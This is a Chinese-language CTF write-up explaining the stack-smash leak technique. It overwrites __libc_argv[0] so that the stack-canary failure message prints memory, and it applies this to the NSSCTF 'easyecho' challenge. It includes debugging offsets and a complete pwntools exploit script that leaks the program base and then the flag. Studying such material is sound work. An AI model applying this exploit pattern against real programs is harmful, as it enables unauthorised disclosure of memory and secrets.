stack smach
这类型的题目通常会存在通常会存在canary保护,因为这是利用canary的报错时会程序会执__stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称),我们就可以通过栈溢出来覆盖到 __libc_argv[0] 为我们想要泄漏的地址,就能泄露对应的内容。
例题(nssctf easyecho)
首先检查保护
保护全开
进行动态调试,先把断点下到第四个printf(偏移为0xB2E)处
发现栈上存在一个push rbx命令的地址,那么我们可以在这个地址前面的栈空间里面填满内容,这样就可以通过接下来代码中的%s来泄露这串地址,泄露了这串地址我们就可以得知这一内存页的基地址即(leak addr-0xcf0),有了基地址,而在ida中可以查看每行命令的偏移量,那就可以做到泄露出存放flag的地址即(leak addr - 0xcf0 + 0x202040)
可以通过调试得出从输入口到文件名字位置的偏移量为0x168从而可以把canary报错时出现的文件名替换为flag位置,从而泄露flag,当然最后必须要保证整个程序可以成功的return,不然也不会出现报错。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * from struct import pack from LibcSearcher import *
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sal(a, b): p.sendlineafter(a, b) def r(): print(p.recv()) def rl(a): p.recvuntil(a) def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
context(os='linux', arch='amd64', log_level='debug') p = process('./pwn')
elf = ELF('./pwn') sal(b'Name: ', b'a'*0x10) rl(b'a'*0x10) pro_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xcf0 sal(b'Input: ', b'backdoor\x00') flag_addr = pro_base + 0x202040 payload = b'a'*0x168 + p64(flag_addr) sal(b'Input: ', payload) sal(b'Input: ', b'exitexit') r() r() p.interactive()
|